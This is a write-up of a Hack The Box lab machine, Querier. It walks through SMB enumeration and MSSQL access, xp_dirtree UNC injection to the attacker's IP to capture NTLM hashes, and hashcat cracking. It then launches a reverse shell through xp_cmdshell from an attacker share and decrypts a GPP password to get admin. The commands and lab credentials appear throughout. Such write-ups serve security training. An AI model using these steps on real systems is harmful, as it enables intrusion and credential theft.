This is going to be an easy and quick writeup of a HTB machine I enjoyed: Querier.
The box was a Windows 2019 Server with defender and so on, I had to use a few tricks from my bag to finish this ;)

Easy/medium box I'd say, nothing too complex if you are familiar with MSSQL.

Nmap Scan

As usual, I started with an nmap scan that revealed that SMB, MSSQL and WSMAN services were active:

Nmap scan report for querier.htb (10.10.10.125)
Host is up (0.043s latency).
Not shown: 65521 closed ports
PORT      STATE SERVICE
135/tcp   open  msrpc
139/tcp   open  netbios-ssn
445/tcp   open  microsoft-ds
1433/tcp  open  ms-sql-s
5985/tcp  open  wsman
47001/tcp open  winrm
49664/tcp open  unknown
49665/tcp open  unknown
49666/tcp open  unknown
49667/tcp open  unknown
49668/tcp open  unknown
49669/tcp open  unknown
49670/tcp open  unknown
49671/tcp open  unknown

Enumeration

It was possible to authenticate to SMB using null credentials, and in particular a share called "Reports" was found to be open and accessible:

The share contained an excel spreadsheet with a VBA macro attached to it, the VBA was used to pull data from the MSSQL server. In the figure below it is possible to see the code of the abovementioned macro:

MSSQL Exploitation

I spend a good hour trying to understand why mssqlclient was not working properly with the credentials I found, after just adding the -windows-auth flag everything worked I blamed myself for being very distracted:

mssqlclient.py -p 1433 -windows-auth reporting:PcwTWTHRwryjc\$c6@10.10.10.125

The DB was pretty empty, so I tried a few privesc technique. One of my favourite is the UNC path injection in which you can trigger an authenticated SMB connection against an arbitrary host using the service account the MSSQL database is running as. There are a couple of extended procedures we could use, I went for xp_dirtree but you could also use xp_fileexist for achieving the same result:

EXEC xp_dirtree '\\10.10.15.76\share'

To catch the NetNTLMv2 hashes of the account, just fire up Responder and wait for the reward:

NetNTLMv2 Cracking

Cracking the hashes was pretty straightforward, I just used hashcat and the rockyou wordlist:

root@kali:~/Desktop/htb/querier# hashcat -m 5600 mssql-hash.txt /root/tools/SecLists/Passwords/Leaked-Databases/rockyou.txt  --force --show                  
MSSQL-SVC::QUERIER:4f54c87e3248bc6c:aeb460dfa3fecd8ee65d086d480daa52:0101000000000000c0653150de09d2014e0eedb1bff75bc4000000000200080053004d004200330001001e00570049004e002d00500052004800340039003200520051004100460056000400140053004d00420033002e006c006f00630061006c0003003400570049004e002d00500052004800340039003200520051004100460056002e0053004d00420033002e006c006f00630061006c000500140053004d00420033002e006c006f00630061006c0007000800c0653150de09d2010600040002000000080030003000000000000000000000000030000085ca39737ebbadc7ea13dbfd05bd58b60a552fa4e3368f294914d7de6a11e6b80a001000000000000000000000000000000000000900200063006900660073002f00310030002e00310030002e00310035002e0037003600000000000000000000000000:corporate568    

With the newly found credentials, I logged into the SQL server again in order to use the xp_cmdshell procedure to obtain code execution.

Not so easy tho! Windows defender and AMSI are getting better!
In order to obtain a stable PowerShell prompt I had to compile a reverse shell using Golang.
You can find the source code of the reverse shell here. I just modified it a little bit to run powershell.exe instead of /bin/bash and then compiled it with the following command:

GOOS=windows go build shell.go

I executed the reverse shell directly from an SMB share I set up using smbserver.py using xp_cmdshell:

EXEC xp_cmdshell '\\10.10.15.76\SHARE\shell.exe'

However, the session died after 60 seconds.
What I think was happening, is that MSSQL killed the process because the xp_cmdshell was hanging up (because I had a shell). In order to overcome this, I simply launched a second shell after the first one to obtain my beloved powershell prompt <3

Group Policy Preferences

Privesc was pretty straightforward, I just searched for the keyword "password" in the Users directory and found a local group policy preference (GPP) with some local admin passwords.

PS C:\Users> findstr /spin "password" *.*                                                                                                                     findstr /spin "password" *.*                                                                                                                                  
All Users\Microsoft\Group Policy\History\{31B2F340-016D-11D2-945F-00C04FB984F9}\Machine\Preferences\Groups\Groups.xml:3:<Properties action="U" newName="" fullName="" description="" cpassword="CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ" changeLogon="0" noChange="0" neverEx
pires="1" acctDisabled="0" userName="Administrator"></Properties></User></Groups>All Users\Microsoft\IdentityCRL\INT\wlidsvcconfig.xml:5:    --><cfg:Settings><cfg:DeviceDNSSuffix>.devicedns.live.com</cfg:DeviceDNSSuffix><cfg:ResolveTimeout>0</cfg:ResolveTimeout><cfg:ConnectTimeout>10000</cfg:ConnectTimeout><cfg:Sen
dTimeout>30000</cfg:SendTimeout><cfg:ReceiveTimeout>30000</cfg:ReceiveTimeout><cfg:MinMinutesBetweenMetaConfigCheck>1440</cfg:MinMinutesBetweenMetaConfigCheck><cfg:ConfigServerSslURI>https://go.microsoft.com/fwlink/?LinkId=859523</cfg:ConfigServerSslURI><cfg:DIDCOMMetaData><cfg:DIDWithAuth>1</cfg:DIDWithAuth><cfg:A
ssocPDIDToLDID>1</cfg:AssocPDIDToLDID><cfg:Protocol><cfg:CLSID>{1C109E4C-2F30-4EA3-A57A-A290877A2303}</cfg:CLSID><cfg:DATA><![CDATA[<Input version="1" match="20"><Excluded><Controller>Win32_USBControllerDevice</Controller><Controller>Win32_1394ControllerDevice</Controller><Controller>Win32_PCMCIAControllerDevice</C
ontroller><Controller>Win32_ConnectionShare</Controller></Excluded><Class name="Win32_PhysicalMedia" pos="1" hash="32" match="10"><Data>SerialNumber</Data></Class><Class name="Win32_NetworkAdapter" pos="2" hash="32" match="10"><Data>MACAddress</Data></Class><Class name="Win32_BIOS" pos="3" hash="32" match="10"><Dat
a>Manufacturer</Data><Data>SerialNumber</Data></Class></Input>]]></cfg:DATA><cfg:PREFIX>01</cfg:PREFIX></cfg:Protocol><cfg:Protocol><cfg:CLSID>{B9F1D9B8-1DA6-4F17-962F-69EC82EA2704}</cfg:CLSID><cfg:PREFIX>03</cfg:PREFIX><cfg:LOGICAL>1</cfg:LOGICAL><cfg:SYSTEM>1</cfg:SYSTEM></cfg:Protocol><cfg:Protocol><cfg:CLSID>{B
9F1D9B8-1DA6-4F17-962F-69EC82EA2704}</cfg:CLSID><cfg:PREFIX>

Although the password seemed to be encrypted, the algorithm and the encryption key are public. Within Kali it is possible to use the gpp-decrypt utility to obtain the cleartext password of the local admin:

root@kali:~/Desktop/htb# gpp-decrypt CiDUq6tbrBL1m/js9DmZNIydXpsE69WB9JrhwYRW9xywOz1/0W5VCUz8tBPXUkk9y80n4vw74KeUWc2+BeOVDQ                            [16/16]
/usr/bin/gpp-decrypt:21: warning: constant OpenSSL::Cipher::Cipher is deprecated                                                                             
MyUnclesAreMarioAndLuigi!!1!

I used wmiexec from Impacket to execute code on the target box and retrieve the admin flag: